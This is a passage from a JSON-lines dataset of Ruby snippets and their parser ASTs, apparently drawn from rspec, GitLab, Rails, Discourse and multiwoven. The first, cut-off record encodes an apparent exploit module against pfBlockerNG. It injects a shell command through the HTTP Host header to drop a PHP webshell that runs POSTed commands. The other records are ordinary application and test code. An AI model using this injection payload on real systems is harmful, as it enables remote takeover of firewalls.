\"str\",\"children\":[\"Webshell name is: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"web_shell_contents\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?php echo file_put_contents('/usr/local/www/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]},{\"type\":\"str\",\"children\":[\"','<?php echo(passthru($_POST[\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parameter_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]));');\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_php\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_shell_contents\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"upcase\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/pfblockerng/www/index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"' *; echo '16i \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_php\"]}]},{\"type\":\"str\",\"children\":[\" P' | dc | php; '\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WfsDelay\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/local/www/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]}]}]}]}]}","id":"bc69bd31-7aea-4c23-80c1-84608de68726"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core.rb","start_line":128,"raw_source":"def self.current_example=(example)\n    RSpec::Support.thread_local_data[:current_example] = example\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_example=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Support\"]},\"thread_local_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"current_example\"]},{\"type\":\"lvar\",\"children\":[\"example\"]}]}]}","id":"9c6800b5-b603-4493-8579-8e80bd700b9c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/graphql/docs/helper.rb","start_line":410,"raw_source":"def schema_field(type_name, field_name)\n          type = schema.types[type_name]\n          return unless type && type.kind.fields?\n\n          type.fields[field_name]\n        end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"schema_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type_name\"]},{\"type\":\"arg\",\"children\":[\"field_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema\"]},\"types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"kind\"]},\"fields?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"fields\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field_name\"]}]}]}]}","id":"96458c9c-e48f-4d75-a791-5b7e345822c3"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20240109210604_remove_cursor_fields_from_syncs.rb","start_line":2,"raw_source":"def change\n    remove_column :syncs, :cursor_field, :string\n    remove_column :syncs, :last_synced_cursor, :string\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"syncs\"]},{\"type\":\"sym\",\"children\":[\"cursor_field\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"syncs\"]},{\"type\":\"sym\",\"children\":[\"last_synced_cursor\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}","id":"0936eb8d-98cb-4c24-a8e4-f4574f0678f8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":136,"raw_source":"def test_nilable_default_scope_with_all_queries_runs_on_select\n    DeveloperWithDefaultNilableFirmScopeAllQueries.create!(name: \"Nikita\")\n    select_sql = capture_sql { DeveloperWithDefaultNilableFirmScopeAllQueries.find_by(name: \"Nikita\") }.first\n\n    assert_no_match(/AND$/, select_sql)\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nilable_default_scope_with_all_queries_runs_on_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperWithDefaultNilableFirmScopeAllQueries\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nikita\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"select_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperWithDefaultNilableFirmScopeAllQueries\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nikita\"]}]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"AND$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"select_sql\"]}]}]}]}","id":"9f23a155-18de-41bd-a8b7-ac6622ec01df"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/translation/post_candidates.rb","start_line":47,"raw_source":"def self.completion_all_locales\n        supported = SiteSetting.content_localization_supported_locales.split(\"|\")\n        values_rows = supported.map { |loc| \"('#{loc}')\" }.join(\", \")\n\n        sql = <<~SQL\n          WITH supported AS (\n            SELECT localestr,\n                   split_part(localestr, '_', 1) AS base\n            FROM (VALUES #{values_rows}) AS t(localestr)\n          ),\n          all_eligible_posts AS (\n            #{get.to_sql}\n          ),\n          total_eligible_count AS (\n            SELECT COUNT(*)::bigint AS count FROM all_eligible_posts\n          ),\n          eligible_posts AS (\n            SELECT * FROM all_eligible_posts WHERE locale IS NOT NULL\n          ),\n          all_posts_count AS (\n            SELECT COUNT(*)::bigint AS count FROM eligible_posts\n          ),\n          non_target_locale_counts AS (\n            SELECT s.base,\n                   COUNT(*)::bigint AS count\n            FROM eligible_posts p\n            CROSS JOIN supported s\n            WHERE split_part(p.locale, '_', 1) != s.base\n            GROUP BY s.base\n          ),\n          done_per_base AS (\n            SELECT s.base,\n                   COUNT(*)::bigint AS done\n            FROM eligible_posts p\n            JOIN supported s ON TRUE\n            WHERE split_part(p.locale, '_', 1) != s.base AND EXISTS (\n              SELECT 1\n              FROM post_localizations pl\n              WHERE pl.post_id = p.id\n                AND split_part(pl.locale, '_', 1) = s.base\n            )\n            GROUP BY s.base\n          )\n          SELECT s.localestr AS locale,\n                 COALESCE(d.done, 0) AS done,\n                 COALESCE(ntl.count, 0) AS total,\n                 (SELECT count FROM total_eligible_count) AS total_eligible,\n                 (SELECT count FROM all_posts_count) AS posts_with_locale\n          FROM supported s\n          LEFT JOIN done_per_base d ON d.base = s.base\n          LEFT JOIN non_target_locale_counts ntl ON ntl.base = s.base\n        SQL\n\n        results = DB.query(sql)\n\n        if results.empty?\n          return { translation_progress: [], total: 0, posts_with_detected_locale: 0 }\n        end\n\n        # Extract aggregate counts from first row (same for all rows)\n        total_eligible = results.first.total_eligible\n        posts_with_locale = results.first.posts_with_locale\n\n        # Build per-locale progress array\n        translation_progress =\n          results.map { |r| { locale: r.locale, done: r.done, total: r.total } }\n\n        translation_progress =\n          translation_progress.sort_by do |r|\n            percentage = r[:total] > 0 ? r[:done].to_f / r[:total] : 0\n            -percentage\n          end\n\n        {\n          translation_progress: translation_progress,\n          total: total_eligible,\n          posts_with_detected_locale: posts_with_locale,\n        }\n      end","complexity_score":42.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"completion_all_locales\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"supported\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"content_localization_supported_locales\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values_rows\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"supported\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loc\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH supported AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT localestr,\\n\"]},{\"type\":\"str\",\"children\":[\"         split_part(localestr, '_', 1) AS base\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM (VALUES \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values_rows\"]}]},{\"type\":\"str\",\"children\":[\") AS t(localestr)\\n\"]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\"all_eligible_posts AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\"total_eligible_count AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT COUNT(*)::bigint AS count FROM all_eligible_posts\\n\"]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\"eligible_posts AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT * FROM all_eligible_posts WHERE locale IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\"all_posts_count AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT COUNT(*)::bigint AS count FROM eligible_posts\\n\"]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\"non_target_locale_counts AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT s.base,\\n\"]},{\"type\":\"str\",\"children\":[\"         COUNT(*)::bigint AS count\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM eligible_posts p\\n\"]},{\"type\":\"str\",\"children\":[\"  CROSS JOIN supported s\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE split_part(p.locale, '_', 1) != s.base\\n\"]},{\"type\":\"str\",\"children\":[\"  GROUP BY s.base\\n\"]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\"done_per_base AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT s.base,\\n\"]},{\"type\":\"str\",\"children\":[\"         COUNT(*)::bigint AS done\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM eligible_posts p\\n\"]},{\"type\":\"str\",\"children\":[\"  JOIN supported s ON TRUE\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE split_part(p.locale, '_', 1) != s.base AND EXISTS (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM post_localizations pl\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE pl.post_id = p.id\\n\"]},{\"type\":\"str\",\"children\":[\"      AND split_part(pl.locale, '_', 1) = s.base\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"  GROUP BY s.base\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT s.localestr AS locale,\\n\"]},{\"type\":\"str\",\"children\":[\"       COALESCE(d.done, 0) AS done,\\n\"]},{\"type\":\"str\",\"children\":[\"       COALESCE(ntl.count, 0) AS total,\\n\"]},{\"type\":\"str\",\"children\":[\"       (SELECT count FROM total_eligible_count) AS total_eligible,\\n\"]},{\"type\":\"str\",\"children\":[\"       (SELECT count FROM all_posts_count) AS posts_with_locale\\n\"]},{\"type\":\"str\",\"children\":[\"FROM supported s\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN done_per_base d ON d.base = s.base\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN non_target_locale_counts ntl ON ntl.base = s.base\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"translation_progress\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts_with_detected_locale\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"total_eligible\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"first\"]},\"total_eligible\"]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_with_locale\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"first\"]},\"posts_with_locale\"]}]},{\"type\":\"lvasgn\",\"children\":[\"translation_progress\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"locale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"done\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"done\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"total\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"translation_progress\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation_progress\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"percentage\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"total\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"done\"]}]},\"to_f\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"total\"]}]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentage\"]},\"-@\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"translation_progress\"]},{\"type\":\"lvar\",\"children\":[\"translation_progress\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_eligible\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts_with_detected_locale\"]},{\"type\":\"lvar\",\"children\":[\"posts_with_locale\"]}]}]}]}]}","id":"e9b73865-607a-4136-bb8a-56f348cfcde4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking/standard_context.rb","start_line":56,"raw_source":"def to_h\n        {\n          environment: environment,\n          source: source,\n          correlation_id: Labkit::Correlation::CorrelationId.current_or_new_id,\n          plan: plan_name,\n          extra: extra,\n          user_id: tracked_user_id,\n          global_user_id: global_user_id,\n          user_type: tracked_user_type,\n          is_gitlab_team_member: gitlab_team_member?(user&.id),\n          namespace_id: namespace&.id,\n          ultimate_parent_namespace_id: namespace&.root_ancestor&.id,\n          project_id: project_id,\n          feature_enabled_by_namespace_ids: feature_enabled_by_namespace_ids,\n          realm: realm,\n          instance_id: ::Gitlab::GlobalAnonymousId.instance_id,\n          unique_instance_id: Gitlab::GlobalAnonymousId.instance_uuid,\n          host_name: Gitlab.config.gitlab.host,\n          instance_version: Gitlab.version_info.to_s,\n          context_generated_at: Time.current\n        }\n      end","complexity_score":29.7,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[null,\"environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"correlation_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Labkit\"]},\"Correlation\"]},\"CorrelationId\"]},\"current_or_new_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plan\"]},{\"type\":\"send\",\"children\":[null,\"plan_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra\"]},{\"type\":\"send\",\"children\":[null,\"extra\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"tracked_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"global_user_id\"]},{\"type\":\"send\",\"children\":[null,\"global_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_type\"]},{\"type\":\"send\",\"children\":[null,\"tracked_user_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_gitlab_team_member\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_team_member?\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ultimate_parent_namespace_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"root_ancestor\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_enabled_by_namespace_ids\"]},{\"type\":\"send\",\"children\":[null,\"feature_enabled_by_namespace_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm\"]},{\"type\":\"send\",\"children\":[null,\"realm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"GlobalAnonymousId\"]},\"instance_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_instance_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlobalAnonymousId\"]},\"instance_uuid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"version_info\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context_generated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}","id":"3720c32f-b821-4271-b46d-a026ddd0bba8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/deployable.rb","start_line":187,"raw_source":"def environment_action\n      environment_permanent_metadata.fetch(:action, 'start')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"environment_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_permanent_metadata\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"start\"]}]}]}","id":"05f68adc-cfcb-4872-aaa1-e3c92d844707"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/enum_test.rb","start_line":134,"raw_source":"def test_schema_dump_added_enum_value\n    skip(\"Adding enum values can not be run in a transaction\") if @connection.database_version < 10_00_00\n\n    @connection.add_enum_value :mood, :angry, before: :ok\n    @connection.add_enum_value :mood, :nervous, after: :ok\n    @connection.add_enum_value :mood, :glad\n\n    assert_nothing_raised do\n      @connection.add_enum_value :mood, :glad, if_not_exists: true\n      @connection.add_enum_value :mood, :curious, if_not_exists: true\n    end\n\n    output = dump_table_schema(\"postgresql_enums\")\n\n    assert_includes output, 'create_enum \"mood\", [\"sad\", \"angry\", \"ok\", \"nervous\", \"happy\", \"glad\", \"curious\"]'\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_added_enum_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"database_version\"]},\"<\",{\"type\":\"int\",\"children\":[100000]}]},{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"Adding enum values can not be run in a transaction\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_enum_value\",{\"type\":\"sym\",\"children\":[\"mood\"]},{\"type\":\"sym\",\"children\":[\"angry\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_enum_value\",{\"type\":\"sym\",\"children\":[\"mood\"]},{\"type\":\"sym\",\"children\":[\"nervous\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_enum_value\",{\"type\":\"sym\",\"children\":[\"mood\"]},{\"type\":\"sym\",\"children\":[\"glad\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_enum_value\",{\"type\":\"sym\",\"children\":[\"mood\"]},{\"type\":\"sym\",\"children\":[\"glad\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_enum_value\",{\"type\":\"sym\",\"children\":[\"mood\"]},{\"type\":\"sym\",\"children\":[\"curious\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"postgresql_enums\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"output\"]},{\"type\":\"str\",\"children\":[\"create_enum \\\"mood\\\", [\\\"sad\\\", \\\"angry\\\", \\\"ok\\\", \\\"nervous\\\", \\\"happy\\\", \\\"glad\\\", \\\"curious\\\"]\"]}]}]}]}","id":"37b4bbb3-5e76-45f4-97e1-d2189ee80e59"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/ci/qa_changes.rb","start_line":52,"raw_source":"def quarantine_changes?\n          return false if mr_diff.empty?\n          return false if mr_diff.any? { |change| change[:new_file] || change[:deleted_file] }\n\n          files_count = 0\n          specs_count = 0\n          quarantine_specs_count = 0\n\n          mr_diff.each do |change|\n            path = change[:path]\n            next if File.directory?(File.expand_path(\"../#{path}\", QA::Runtime::Path.qa_root))\n\n            files_count += 1\n            next unless path.match?(SPEC_PATTERN) && path.end_with?('_spec.rb')\n\n            specs_count += 1\n            quarantine_specs_count += 1 if change[:diff].match?(/^\\+.*,? quarantine:/)\n          end\n\n          return false if specs_count == 0\n          return true if quarantine_specs_count == specs_count && quarantine_specs_count == files_count\n\n          false\n        